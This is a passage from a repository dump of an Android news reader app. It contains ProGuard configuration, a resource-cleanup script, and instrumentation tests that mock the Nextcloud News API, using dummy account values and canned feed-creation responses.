org.codehaus.mojo.animal_sniffer.IgnoreJRERequirement\n-dontwarn javax.annotation.**\n-dontwarn javax.inject.**\n-dontwarn sun.misc.Unsafe\n\n# Added for guava 23.5-android\n-dontwarn afu.org.checkerframework.**\n-dontwarn org.checkerframework.**\n\n\n# Required for unit tests\n\n# https://stackoverflow.com/a/39777485\n# Also, note that this rule should be added to the regular proguard file(the one of listed in proguardFiles) and not the test one(declared as testProguardFile)\n# java.lang.NoSuchMethodError: No virtual method getParameter\n-keepclasseswithmembers public class com.nextcloud.android.sso.aidl.NextcloudRequest { *; }\n-keepclasseswithmembers public class com.nextcloud.android.sso.AccountImporter { *; }\n\n# NewsReaderListActivityTests\n-keepclasseswithmembers public class androidx.recyclerview.widget.RecyclerView { *; }\n"
  },
  {
    "path": "News-Android-App/proguard-test.pro",
    "content": "# proguard-test.pro:\n-include proguard-rules.pro\n-keepattributes SourceFile,LineNumberTable\n\n\n\n-dontwarn androidx.test.espresso.**\n\n\n###############\n# Required for Mockito\n-keep class retrofit2.NextcloudRetrofitApiBuilder { *; }\n-keep class net.bytebuddy.* { *; }\n-dontwarn net.bytebuddy.**\n\n-keep class module-info\n-keepattributes Module*\n-dontwarn org.mockito.**\n\n\n# Proguard rules that are applied to your test apk/code.\n-ignorewarnings\n\n-keepattributes *Annotation*\n\n-dontnote junit.framework.**\n-dontnote junit.runner.**\n\n-dontwarn android.test.**\n-dontwarn android.support.test.**\n-dontwarn org.junit.**\n-dontwarn org.hamcrest.**\n-dontwarn com.squareup.javawriter.JavaWriter\n\n-dontwarn androidx.concurrent.futures.AbstractResolvableFuture\n\n\n#-dontwarn org.conscrypt.Conscrypt\n#com.google.common.util.concurrent.ListenableFuture\n#-keep interface okhttp3.internal.platform.ConscryptPlatform\n#-keep class okhttp3.internal.platform.ConscryptPlatform\n\n#-keep class org.conscrypt.Conscrypt { *; }\n#-keep interface org.conscrypt.Conscrypt { *; }\n"
  },
  {
    "path": "News-Android-App/remove_invalid_languages.sh",
    "content": "git rm -r src/main/res/values-ach/\ngit rm -r src/main/res/values-ady/\ngit rm -r src/main/res/values-nds/\ngit rm -r src/main/res/values-nqo/\ngit rm -r src/main/res/values-tzm/\n"
  },
  {
    "path": "News-Android-App/src/androidTest/AndroidManifest.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<manifest xmlns:tools=\"http://schemas.android.com/tools\"\n    xmlns:android=\"http://schemas.android.com/apk/res/android\">\n\n    <uses-sdk tools:overrideLibrary=\"android_libs.ub_uiautomator\" />\n\n    <application>\n        <!-- You don't need to include android:required=\"false\" if your app's minSdkVersion is 28 or higher. -->\n        <uses-library\n            android:name=\"android.test.runner\"\n            android:required=\"false\" />\n        <uses-library\n            android:name=\"android.test.base\"\n            android:required=\"false\" />\n        <uses-library\n            android:name=\"android.test.mock\"\n            android:required=\"false\" />\n    </application>\n</manifest>"
  },
  {
    "path": "News-Android-App/src/androidTest/java/de/luhmer/owncloudnewsreader/CustomTestRunner.java",
    "content": "package de.luhmer.owncloudnewsreader;\n\nimport android.app.Application;\nimport android.content.Context;\n\nimport androidx.test.runner.AndroidJUnitRunner;\n\npublic class CustomTestRunner extends AndroidJUnitRunner {\n\n    /*\n    @Override\n    public void onCreate(Bundle arguments) {\n        // The workaround for Mockito issue #922\n        // https://github.com/mockito/mockito/issues/922\n\n        arguments.putString(\"notPackage\", \"net.bytebuddy\");\n        super.onCreate(arguments);\n    }\n    */\n\n    public Application newApplication(ClassLoader cl, String className, Context context) throws IllegalAccessException, InstantiationException, ClassNotFoundException {\n        return super.newApplication(cl, TestApplication.class.getName(), context);\n    }\n}\n\n\n\n"
  },
  {
    "path": "News-Android-App/src/androidTest/java/de/luhmer/owncloudnewsreader/TestApplication.java",
    "content": "package de.luhmer.owncloudnewsreader;\n\nimport de.luhmer.owncloudnewsreader.di.DaggerTestComponent;\nimport de.luhmer.owncloudnewsreader.di.TestApiModule;\n\npublic class TestApplication extends NewsReaderApplication {\n\n    @Override\n    public void initDaggerAppComponent() {\n        // Dagger%COMPONENT_NAME%\n\n        mAppComponent = DaggerTestComponent.builder()\n                .apiModule(new TestApiModule(this))\n                .build();\n\n        // If a Dagger 2 component does not have any constructor arguments for any of its modules,\n        // then we can use .create() as a shortcut instead:\n        //mAppComponent = DaggerAppComponent.create();\n    }\n\n}\n"
  },
  {
    "path": "News-Android-App/src/androidTest/java/de/luhmer/owncloudnewsreader/di/TestApiModule.java",
    "content": "package de.luhmer.owncloudnewsreader.di;\n\nimport android.app.Application;\nimport android.content.Context;\nimport android.content.SharedPreferences;\nimport android.util.Log;\n\nimport androidx.test.InstrumentationRegistry;\n\nimport com.nextcloud.android.sso.AccountImporter;\nimport com.nextcloud.android.sso.model.SingleSignOnAccount;\n\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.OutputStream;\n\nimport de.luhmer.owncloudnewsreader.NewsReaderListFragment;\nimport de.luhmer.owncloudnewsreader.SettingsActivity;\nimport de.luhmer.owncloudnewsreader.helper.ThemeChooser;\nimport de.luhmer.owncloudnewsreader.model.OcsUser;\nimport de.luhmer.owncloudnewsreader.ssl.MemorizingTrustManager;\n\npublic class TestApiModule extends ApiModule {\n\n    private static final String TAG = TestApiModule.class.getCanonicalName();\n    private final Application application;\n\n    public static String DUMMY_ACCOUNT_AccountName = \"test-account\";\n    public static String DUMMY_ACCOUNT_username = \"david\";\n    public static String DUMMY_ACCOUNT_token = \"abc\";\n    public static String DUMMY_ACCOUNT_server_url = \"http://nextcloud.com/\";\n\n    public TestApiModule(Application application) {\n        super(application);\n        this.application = application;\n    }\n\n    @Override\n    public SharedPreferences providesSharedPreferences() {\n        // Create dummy account\n        String prefKey = \"PREF_ACCOUNT_STRING\" + DUMMY_ACCOUNT_AccountName;\n        SingleSignOnAccount ssoAccount = new SingleSignOnAccount(\n                DUMMY_ACCOUNT_AccountName, DUMMY_ACCOUNT_username,\n                DUMMY_ACCOUNT_token, DUMMY_ACCOUNT_server_url,\n                \"prod\"\n        );\n\n        OcsUser userInfo = new OcsUser(\"1\", DUMMY_ACCOUNT_username);\n\n        //SharedPreferences sharedPrefs = new MockSharedPreference();\n        SharedPreferences sharedPrefs = application.getSharedPreferences(providesSharedPreferencesFileName(), Context.MODE_PRIVATE);\n\n        // Reset SharedPreferences to make tests reproducible\n        sharedPrefs.edit().clear().commit();\n\n        // Turn on Single-Sign-On\n        sharedPrefs.edit().putBoolean(SettingsActivity.SW_USE_SINGLE_SIGN_ON, true).commit();\n\n        // Set mock preferences for AccountImporter\n        AccountImporter.setSharedPreferences(sharedPrefs);\n\n\n        // Return mock login data when requesting the account\n        try {\n            sharedPrefs.edit().putString(prefKey, SingleSignOnAccount.toString(ssoAccount)).commit();\n        } catch (IOException e) {\n            throw new Error(e);\n        }\n\n        // For userinfo in main activity\n        sharedPrefs.edit().putString(SettingsActivity.EDT_OWNCLOUDROOTPATH_STRING, DUMMY_ACCOUNT_server_url).commit();\n        sharedPrefs.edit().putString(SettingsActivity.EDT_USERNAME_STRING, DUMMY_ACCOUNT_username).commit();\n        sharedPrefs.edit().putString(\"PREF_CURRENT_ACCOUNT_STRING\", DUMMY_ACCOUNT_AccountName).commit();\n        try {\n            sharedPrefs.edit().putString(\"USER_INFO\", NewsReaderListFragment.toString(userInfo)).commit();\n        } catch (IOException e) {\n            throw new Error(e);\n        }\n\n        ThemeChooser.init(sharedPrefs);\n\n        return sharedPrefs;\n    }\n\n   @Override\n    public String providesSharedPreferencesFileName() {\n        return application.getPackageName() + \"_preferences_test\";\n    }\n\n    @Override\n    public String providesDatabaseFileName() {\n        String filename = \"OwncloudNewsReaderOrmTest.db\";\n\n        try {\n\n            String dst = \"/data/data/\" + application.getApplicationContext().getPackageName() + \"/databases/\" + filename;\n            File dstFile = new File(dst);\n            dstFile.getParentFile().mkdirs();\n\n            // https://stackoverflow.com/a/35690692\n            copy(InstrumentationRegistry.getContext().getAssets().open(\"OwncloudNewsReaderOrm.db\"), dstFile);\n        } catch (IOException e) {\n            Log.e(TAG, \"Failed copying Test Database\", e);\n        }\n        //return PreferenceManager.getDefaultSharedPreferencesName(mApplication);\n        return filename;\n    }\n\n    @Override\n    protected ApiProvider provideAPI(MemorizingTrustManager mtm, SharedPreferences sp) {\n        ApiProvider apiProvider = new TestApiProvider(mtm, sp, application);\n        return apiProvider;\n    }\n\n\n\n    public static void copy(InputStream in, File dst) throws IOException {\n        try (OutputStream out = new FileOutputStream(dst)) {\n            // Transfer bytes from in to out\n            byte[] buf = new byte[1024];\n            int len;\n            while ((len = in.read(buf)) > 0) {\n                out.write(buf, 0, len);\n            }\n        }\n        in.close();\n\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/androidTest/java/de/luhmer/owncloudnewsreader/di/TestApiProvider.java",
    "content": "package de.luhmer.owncloudnewsreader.di;\n\nimport static org.mockito.ArgumentMatchers.any;\nimport static de.luhmer.owncloudnewsreader.di.TestApiModule.DUMMY_ACCOUNT_AccountName;\nimport static de.luhmer.owncloudnewsreader.di.TestApiModule.DUMMY_ACCOUNT_username;\n\nimport android.content.Context;\nimport android.content.SharedPreferences;\nimport android.os.Looper;\nimport android.os.NetworkOnMainThreadException;\nimport android.util.Log;\n\nimport com.nextcloud.android.sso.aidl.NextcloudRequest;\nimport com.nextcloud.android.sso.api.NetworkRequest;\nimport com.nextcloud.android.sso.api.NextcloudAPI;\nimport com.nextcloud.android.sso.api.Response;\nimport com.nextcloud.android.sso.exceptions.NextcloudHttpRequestFailedException;\n\nimport org.mockito.Mockito;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.InputStream;\nimport java.nio.charset.Charset;\nimport java.nio.charset.StandardCharsets;\nimport java.util.ArrayList;\n\nimport de.luhmer.owncloudnewsreader.helper.GsonConfig;\nimport de.luhmer.owncloudnewsreader.reader.nextcloud.NewsAPI;\nimport de.luhmer.owncloudnewsreader.ssl.MemorizingTrustManager;\nimport retrofit2.NextcloudRetrofitApiBuilder;\n\npublic class TestApiProvider extends ApiProvider {\n\n    private static final String TAG = TestApiProvider.class.getCanonicalName();\n\n    public static final String NEW_FEED_SUCCESS  = \"http://test.de/new\";\n    public static final String NEW_FEED_EXISTING = \"http://test.de/existing\";\n    public static final String NEW_FEED_FAIL     = \"http://test.de/fail\";\n    private static final String NEW_FEED_EXISTING_ERROR_MESSAGE = \"{\\\"message\\\":\\\"Feed konnte nicht hinzugef\\\\u00fcgt werden:  Existiert bereits\\\"}\";\n    private static final String NEW_FEED_FAIL_ERROR_MESSAGE     = \"{\\\"message\\\":\\\"FeedIo\\\\\\\\Adapter\\\\\\\\NotFoundException: Client error: `GET http:\\\\/\\\\/feeds2.feedburner.com\\\\/stadt-bremerhaven\\\\/dqXM222` resulted in a `404 Feed not found error: FeedBurner cannot locate this feed URI.` response:\\\\n\\\\u003Chtml\\\\u003E\\\\n\\\\u003Chead\\\\u003E\\\\n\\\\u003Cstyle type=\\\\\\\"text\\\\/css\\\\\\\"\\\\u003E\\\\na:link, a:visited {\\\\n  color: #000099;\\\\n  text-decoration: underline;\\\\n}\\\\n\\\\na:hover {\\\\n  (truncated...)\\\\n in \\\\/apps2\\\\/news\\\\/lib\\\\/Fetcher\\\\/Client\\\\/FeedIoClient.php:57\\\\nStack trace:\\\\n#0 \\\\/apps2\\\\/news\\\\/vendor\\\\/debril\\\\/feed-io\\\\/src\\\\/FeedIo\\\\/Reader.php(116): OCA\\\\\\\\News\\\\\\\\Fetcher\\\\\\\\Client\\\\\\\\FeedIoClient-\\\\u003EgetResponse('http:\\\\/\\\\/feeds2.f...', Object(DateTime))\\\\n#1 \\\\/apps2\\\\/news\\\\/vendor\\\\/debril\\\\/feed-io\\\\/src\\\\/FeedIo\\\\/FeedIo.php(286): FeedIo\\\\\\\\Reader-\\\\u003Eread('http:\\\\/\\\\/feeds2.f...', Object(FeedIo\\\\\\\\Feed), Object(DateTime))\\\\n#2 \\\\/apps2\\\\/news\\\\/lib\\\\/Fetcher\\\\/FeedFetcher.php(77): FeedIo\\\\\\\\FeedIo-\\\\u003Eread('http:\\\\/\\\\/feeds2.f...')\\\\n#3 \\\\/apps2\\\\/news\\\\/lib\\\\/Fetcher\\\\/Fetcher.php(68): OCA\\\\\\\\News\\\\\\\\Fetcher\\\\\\\\FeedFetcher-\\\\u003Efetch('http:\\\\/\\\\/feeds2.f...', true, NULL, NULL, NULL)\\\\n#4 \\\\/apps2\\\\/news\\\\/lib\\\\/Service\\\\/FeedService.php(116): OCA\\\\\\\\News\\\\\\\\Fetcher\\\\\\\\Fetcher-\\\\u003Efetch('http:\\\\/\\\\/feeds2.f...', true, NULL, NULL, NULL)\\\\n#5 \\\\/apps2\\\\/news\\\\/lib\\\\/Controller\\\\/FeedApiController.php(96): OCA\\\\\\\\News\\\\\\\\Service\\\\\\\\FeedService-\\\\u003Ecreate('http:\\\\/\\\\/feeds2.f...', 0, 'david')\\\\n#6 \\\\/nextcloud\\\\/lib\\\\/private\\\\/AppFramework\\\\/Http\\\\/Dispatcher.php(166): OCA\\\\\\\\News\\\\\\\\Controller\\\\\\\\FeedApiController-\\\\u003Ecreate('http:\\\\/\\\\/feeds2.f...', 0)\\\\n#7 \\\\/nextcloud\\\\/lib\\\\/private\\\\/AppFramework\\\\/Http\\\\/Dispatcher.php(99): OC\\\\\\\\AppFramework\\\\\\\\Http\\\\\\\\Dispatcher-\\\\u003EexecuteController(Object(OCA\\\\\\\\News\\\\\\\\Controller\\\\\\\\FeedApiController), 'create')\\\\n#8 \\\\/nextcloud\\\\/lib\\\\/private\\\\/AppFramework\\\\/App.php(118): OC\\\\\\\\AppFramework\\\\\\\\Http\\\\\\\\Dispatcher-\\\\u003Edispatch(Object(OCA\\\\\\\\News\\\\\\\\Controller\\\\\\\\FeedApiController), 'create')\\\\n#9 \\\\/nextcloud\\\\/lib\\\\/private\\\\/AppFramework\\\\/Routing\\\\/RouteActionHandler.php(47): OC\\\\\\\\AppFramework\\\\\\\\App::main('OCA\\\\\\\\\\\\\\\\News\\\\\\\\\\\\\\\\Contro...', 'create', Object(OC\\\\\\\\AppFramework\\\\\\\\DependencyInjection\\\\\\\\DIContainer), Array)\\\\n#10 [internal function]: OC\\\\\\\\AppFramework\\\\\\\\Routing\\\\\\\\RouteActionHandler-\\\\u003E__invoke(Array)\\\\n#11 \\\\/nextcloud\\\\/lib\\\\/private\\\\/Route\\\\/Router.php(297): call_user_func(Object(OC\\\\\\\\AppFramework\\\\\\\\Routing\\\\\\\\RouteActionHandler), Array)\\\\n#12 \\\\/nextcloud\\\\/lib\\\\/base.php(987): OC\\\\\\\\Route\\\\\\\\Router-\\\\u003Ematch('\\\\/apps\\\\/news\\\\/api\\\\/...')\\\\n#13 \\\\/nextcloud\\\\/index.php(42): OC::handleRequest()\\\\n#14 {main}\\\"}\";\n\n\n    public NewsTestNetworkRequest networkRequestSpy;\n\n    TestApiProvider(MemorizingTrustManager mtm, SharedPreferences sp, Context context) {\n        super(mtm, sp, context);\n    }\n\n    @Override\n    protected void initSsoApi(final NextcloudAPI.ApiConnectedListener callback) {\n        NewsTestNetworkRequest networkRequest = new NewsTestNetworkRequest(context, callback);\n        networkRequestSpy = Mockito.spy(networkRequest);\n\n        // By spying on the method \"performNetworkRequest\" we can later check if requests were build correctly\n        try {\n            Mockito.doCallRealMethod().when(networkRequestSpy).performNetworkRequest(any(), any());\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n\n        NextcloudAPI nextcloudAPI = new NextcloudAPI(GsonConfig.GetGson(), networkRequestSpy);\n        mNewsApi = new NextcloudRetrofitApiBuilder(nextcloudAPI, NewsAPI.mApiEndpoint).create(NewsAPI.class);\n    }\n\n\n    public class NewsTestNetworkRequest extends NetworkRequest {\n\n        NewsTestNetworkRequest(Context context, NextcloudAPI.ApiConnectedListener callback) {\n            super(null, null, callback);\n        }\n\n        @Override\n        protected void connect(String type) {\n            super.connect(type);\n            mCallback.onConnected();\n        }\n\n        public InputStream performNetworkRequest(NextcloudRequest request, InputStream requestBodyInputStream) throws Exception {\n            if(Looper.myLooper() == Looper.getMainLooper()) {\n                throw new NetworkOnMainThreadException();\n            }\n\n            Log.w(TAG, \"Requested URL: \" + request.getUrl());\n            InputStream inputStream;\n            switch (request.getUrl()) {\n                case \"/index.php/apps/news/api/v1-2/feeds\":\n                    if(\"POST\".equals(request.getMethod())) {\n                        inputStream = handleCreateFeed(request);\n                    } else {\n                        inputStream = stringToInputStream(\"{\\\"feeds\\\": []}\");\n                    }\n                    break;\n                case \"/index.php/apps/news/api/v1-2/user\":\n                    inputStream = handleUser();\n                    break;\n                case \"/index.php/apps/news/api/v1-2/folders\":\n                    inputStream = handleFolders();\n                    break;\n                case \"/index.php/apps/news/api/v1-2/items\":\n                    inputStream = stringToInputStream(\"{\\\"items\\\": []}\");\n                    break;\n                //case \"index.php/apps/news/api/v1-2/feeds\":\n                case \"/index.php/apps/news/api/v1-2/items/unread/multiple\":\n                    inputStream = stringToInputStream(\"\");\n                    break;\n                default:\n                    Log.e(TAG, request.getUrl());\n                    throw new Error(\"Not implemented yet!\");\n            }\n            return inputStream;\n        }\n\n        @Override\n        protected Response performNetworkRequestV2(NextcloudRequest request, InputStream requestBodyInputStream) throws Exception {\n            return new Response(\n                    performNetworkRequest(request, requestBodyInputStream), new ArrayList<>(0)\n            );\n        }\n\n        private InputStream handleFolders() {\n            String folders = \"{\\\"folders\\\":[{\\\"id\\\":2,\\\"name\\\":\\\"Comic\\\"},{\\\"id\\\":3,\\\"name\\\":\\\"Android\\\"}]}\";\n            return stringToInputStream(folders);\n        }\n\n\n        // https://github.com/nextcloud/news/blob/master/docs/externalapi/Legacy.md#create-a-feed\n        private InputStream handleCreateFeed(NextcloudRequest request) throws NextcloudHttpRequestFailedException {\n            var url = request.getParameterV2().stream().filter((s) -> s.key.equals(\"url\")).findFirst().get().value;\n            switch (url) {\n                case NEW_FEED_SUCCESS:\n                    return stringToInputStream(\"\");\n                case NEW_FEED_EXISTING:\n                    throw new NextcloudHttpRequestFailedException(context, 409, new Throwable(NEW_FEED_EXISTING_ERROR_MESSAGE));\n                case NEW_FEED_FAIL:\n                    throw new NextcloudHttpRequestFailedException(context, 422, new Throwable(NEW_FEED_FAIL_ERROR_MESSAGE));\n                default:\n                    throw new Error(\"Not implemented yet!\");\n            }\n        }\n\n        private InputStream handleUser() {\n            String user = \"{\\n\" +\n            \"  \\\"userId\\\": \\\"\" + DUMMY_ACCOUNT_AccountName + \"\\\",\\n\" +\n            \"  \\\"displayName\\\": \\\"\" + DUMMY_ACCOUNT_username + \"\\\",\\n\" +\n            \"  \\\"lastLoginTimestamp\\\": 1241231233, \\n\" +\n            \"  \\\"avatar\\\": null\" +\n            \"}\";\n\n            return stringToInputStream(user);\n        }\n\n        private InputStream stringToInputStream(String data) {\n            return new ByteArrayInputStream(data.getBytes(StandardCharsets.UTF_8));\n        }\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/androidTest/java/de/luhmer/owncloudnewsreader/di/TestComponent.java",
    "content": "package de.luhmer.owncloudnewsreader.di;\n\nimport javax.inject.Singleton;\n\nimport dagger.Component;\nimport de.luhmer.owncloudnewsreader.tests.NewFeedTests;\nimport de.luhmer.owncloudnewsreader.tests.NewsReaderListActivityUiTests;\nimport de.luhmer.owncloudnewsreader.tests.NightModeTest;\n\n@Singleton\n@Component(modules = { ApiModule.class })\npublic interface TestComponent extends AppComponent {\n\n    void inject(NewFeedTests newFeedTest);\n    void inject(NightModeTest nightModeTest);\n\n    void inject(NewsReaderListActivityUiTests newsReaderListActivityUiTests);\n}\n"
  },
  {
    "path": "News-Android-App/src/androidTest/java/de/luhmer/owncloudnewsreader/helper/Utils.java",
    "content": "package de.luhmer.owncloudnewsreader.helper;\n\nimport android.content.Context;\nimport android.content.SharedPreferences;\n\nimport de.luhmer.owncloudnewsreader.R;\n\nimport static androidx.test.espresso.Espresso.onView;\nimport static androidx.test.espresso.action.ViewActions.click;\nimport static androidx.test.espresso.matcher.ViewMatchers.withId;\n\npublic class Utils {\n\n    public static void initMaterialShowCaseView(Context context) {\n        String PREFS_NAME = \"material_showcaseview_prefs\";\n        SharedPreferences sp = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE);\n        sp.edit()\n            .putInt(\"status_SWIPE_LEFT_RIGHT_AND_PTR\", -1)\n            .putInt(\"status_LOGO_SYNC\", -1)\n            .commit();\n    }\n\n    public static void clearFocus() {\n        sleep(200);\n        onView(withId(R.id.toolbar)).perform(click());\n        sleep(200);\n    }\n\n    public static void sleep(int millis) {\n        try {\n            Thread.sleep(millis);\n        } catch (InterruptedException e) {\n            e.printStackTrace();\n        }\n    }\n\n    public static void sleep(float seconds) {\n        try {\n            Thread.sleep((long) seconds * 1000);\n        } catch (InterruptedException e) {\n            e.printStackTrace();\n        }\n    }\n\n}\n"
  },
  {
    "path": "News-Android-App/src/androidTest/java/de/luhmer/owncloudnewsreader/tests/DownloadWebPageServiceTest.java",
    "content": "package de.luhmer.owncloudnewsreader.tests;\n\nimport androidx.test.filters.LargeTest;\nimport androidx.test.rule.ActivityTestRule;\nimport androidx.test.runner.AndroidJUnit4;\n\nimport org.junit.Rule;\nimport org.junit.runner.RunWith;\n\nimport de.luhmer.owncloudnewsreader.NewsReaderListActivity;\n\n@RunWith(AndroidJUnit4.class)\n@LargeTest\npublic class DownloadWebPageServiceTest {\n\n    //private String expectedAppName;\n\n    @Rule\n    public ActivityTestRule<NewsReaderListActivity> mActivityRule = new ActivityTestRule<>(NewsReaderListActivity.class);\n\n    /*\n    private UiDevice uiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());\n\n    private Activity getActivity() {\n        return mActivityRule.getActivity();\n    }\n\n    @Before\n    private void setUp() {\n        expectedAppName = getActivity().getString(R.string.app_name);\n    }\n\n    @Test\n    public void testStartDownload() {\n        openActionBarOverflowOrOptionsMenu(InstrumentationRegistry.getTargetContext());\n        onView(withText(getActivity().getString(R.string.action_download_articles_offline))).perform(click());\n\n    }\n\n    private void clearAllNotifications() {\n        UiDevice uiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());\n        uiDevice.openNotification();\n        long timeoutInMillis = 1000;\n        uiDevice.wait(Until.hasObject(By.textStartsWith(expectedAppName)), timeoutInMillis);\n        //UiObject2 clearAll = uiDevice.findObject(By.res(clearAllNotificationRes));\n        //clearAll.click();\n    }\n\n    @Test\n    void shouldSendNotificationWhichContainsTitleTextAndAllCities() {\n        String expectedAppName = \"Test\";\n        String expectedAllCities = \"Test\";\n        String expectedTitle = \"Test\";\n        String expectedText = \"Test\";\n        // TODO do something here..!\n        uiDevice.openNotification();\n        //uiDevice.wait(Until.hasObject(By.textStartsWith(expectedAppName)), timeout);\n        UiObject2 title = uiDevice.findObject(By.text(expectedTitle));\n        UiObject2 text= uiDevice.findObject(By.textStartsWith(expectedText));\n        //UiObject2 allCities= uiDevice.findObject(By.res(expectedAllCitiesActionRes));\n        assertEquals(expectedTitle, title.getText());\n        assertTrue(text.getText().startsWith(expectedText));\n        //assertEquals(expectedAllCities.toLowerCase(), allCities.getText().toLowerCase());\n        clearAllNotifications();\n    }\n\n    private class ClickOnSendNotification implements ViewAction {\n\n        private final String TAG = ClickOnSendNotification.class.getCanonicalName();\n\n        public String getDescription() {\n            return \"Click on the send notification button\";\n        }\n\n        public Matcher<View> getConstraints() {\n            return Matchers.allOf(isDisplayed(), isAssignableFrom(Button.class));\n        }\n\n        public void perform(@Nullable UiController uiController, @Nullable View view) {\n            //view.findViewById(R.id.stop).performClick();\n            Log.d(TAG, \"perform() called with: uiController = [\" + uiController + \"], view = [\" + view + \"]\");\n        }\n    }\n\n    */\n}\n"
  },
  {
    "path": "News-Android-App/src/androidTest/java/de/luhmer/owncloudnewsreader/tests/NewFeedTests.java",
    "content": "package de.luhmer.owncloudnewsreader.tests;\n\n\nimport static androidx.test.espresso.Espresso.onView;\nimport static androidx.test.espresso.action.ViewActions.click;\nimport static androidx.test.espresso.action.ViewActions.closeSoftKeyboard;\nimport static androidx.test.espresso.action.ViewActions.typeText;\nimport static androidx.test.espresso.assertion.ViewAssertions.matches;\nimport static androidx.test.espresso.matcher.ViewMatchers.hasErrorText;\nimport static androidx.test.espresso.matcher.ViewMatchers.withId;\nimport static junit.framework.Assert.assertFalse;\nimport static junit.framework.Assert.assertTrue;\nimport static junit.framework.Assert.fail;\nimport static org.hamcrest.CoreMatchers.is;\nimport static org.junit.Assert.assertEquals;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.Mockito.timeout;\nimport static org.mockito.Mockito.verify;\n\nimport androidx.test.filters.LargeTest;\nimport androidx.test.rule.ActivityTestRule;\n\nimport com.nextcloud.android.sso.aidl.NextcloudRequest;\n\nimport org.junit.Before;\nimport org.junit.Rule;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.mockito.ArgumentCaptor;\nimport org.mockito.junit.MockitoJUnitRunner;\n\nimport javax.inject.Inject;\n\nimport de.luhmer.owncloudnewsreader.NewFeedActivity;\nimport de.luhmer.owncloudnewsreader.R;\nimport de.luhmer.owncloudnewsreader.TestApplication;\nimport de.luhmer.owncloudnewsreader.di.ApiProvider;\nimport de.luhmer.owncloudnewsreader.di.TestApiProvider;\nimport de.luhmer.owncloudnewsreader.di.TestComponent;\n\n\n//@RunWith(AndroidJUnit4.class)\n@RunWith(MockitoJUnitRunner.class)\n@LargeTest\npublic class NewFeedTests {\n\n    @Rule\n    public ActivityTestRule<NewFeedActivity> activityRule = new ActivityTestRule<>(NewFeedActivity.class);\n\n    protected @Inject ApiProvider mApi;\n\n    @Before\n    public void setUp() {\n        TestComponent ac = (TestComponent) ((TestApplication)(activityRule.getActivity().getApplication())).getAppComponent();\n        ac.inject(this);\n\n        // Reset Spy object\n        mApi.initApi(null);\n        //reset(((TestApiProvider)mApi).networkRequestSpy);\n    }\n\n    @Test\n    public void addNewFeed() {\n        String feed = TestApiProvider.NEW_FEED_SUCCESS;\n\n        // Type text and then press the button.\n        onView(withId(R.id.et_feed_url)).perform(typeText(feed), closeSoftKeyboard());\n        onView(withId(R.id.btn_addFeed)).perform(click());\n\n        try {\n            verifyRequest(feed);\n\n            //onView(withId(R.id.et_feed_url)).check(matches(hasErrorText(nullValue(String.class))));\n\n            // Check Activity existed\n            Thread.sleep(1000);\n            assertFalse(activityRule.getActivity().getWindow().getDecorView().isShown());\n        } catch (Exception e) {\n            fail(e.getMessage());\n        }\n    }\n\n    @Test\n    public void addExistingFeed() {\n        String feed = TestApiProvider.NEW_FEED_EXISTING;\n\n        // Type text and then press the button.\n        onView(withId(R.id.et_feed_url)).perform(typeText(feed), closeSoftKeyboard());\n        onView(withId(R.id.btn_addFeed)).perform(click());\n\n        try {\n            verifyRequest(feed);\n\n            // Check Activity still open\n            Thread.sleep(1000);\n            assertTrue(activityRule.getActivity().getWindow().getDecorView().isShown());\n\n            onView(withId(R.id.et_feed_url)).check(matches(hasErrorText(is(\"Feed konnte nicht hinzugefügt werden:  Existiert bereits\"))));\n        } catch (Exception e) {\n            fail(e.getMessage());\n        }\n    }\n\n    @Test\n    public void addInvalidFeed() {\n        String feed = TestApiProvider.NEW_FEED_FAIL;\n\n        // Type text and then press the button.\n        onView(withId(R.id.et_feed_url)).perform(typeText(feed), closeSoftKeyboard());\n        onView(withId(R.id.btn_addFeed)).perform(click());\n\n        try {\n            verifyRequest(feed);\n\n            // Check Activity still open\n            Thread.sleep(1000);\n            assertTrue(activityRule.getActivity().getWindow().getDecorView().isShown());\n\n            onView(withId(R.id.et_feed_url)).check(matches(hasErrorText(is(\"FeedIo\\\\Adapter\\\\NotFoundException: Client error: `GET http://feeds2.feedburner.com/stadt-bremerhaven/dqXM222` resulted in a `404 Feed not found error: ...\"))));\n        } catch (Exception e) {\n            fail(e.getMessage());\n        }\n    }\n\n    // Verify that the API was actually called\n    private void verifyRequest(String feed) throws Exception {\n        TestApiProvider.NewsTestNetworkRequest nr = ((TestApiProvider) mApi).networkRequestSpy;\n        ArgumentCaptor<NextcloudRequest> argument = ArgumentCaptor.forClass(NextcloudRequest.class);\n        verify(nr, timeout(2000)).performNetworkRequest(argument.capture(), any());\n        assertEquals(\"/index.php/apps/news/api/v1-2/feeds\", argument.getValue().getUrl());\n        var url = argument.getValue().getParameterV2().stream().filter((s) -> s.key.equals((\"url\"))).findFirst().get().value;\n        var folderId = argument.getValue().getParameterV2().stream().filter((s) -> s.key.equals((\"folderId\"))).findFirst().get().value;\n        assertEquals(feed, url);\n        assertEquals(\"0\", folderId);\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/androidTest/java/de/luhmer/owncloudnewsreader/tests/NewsReaderListActivityUiTests.java",
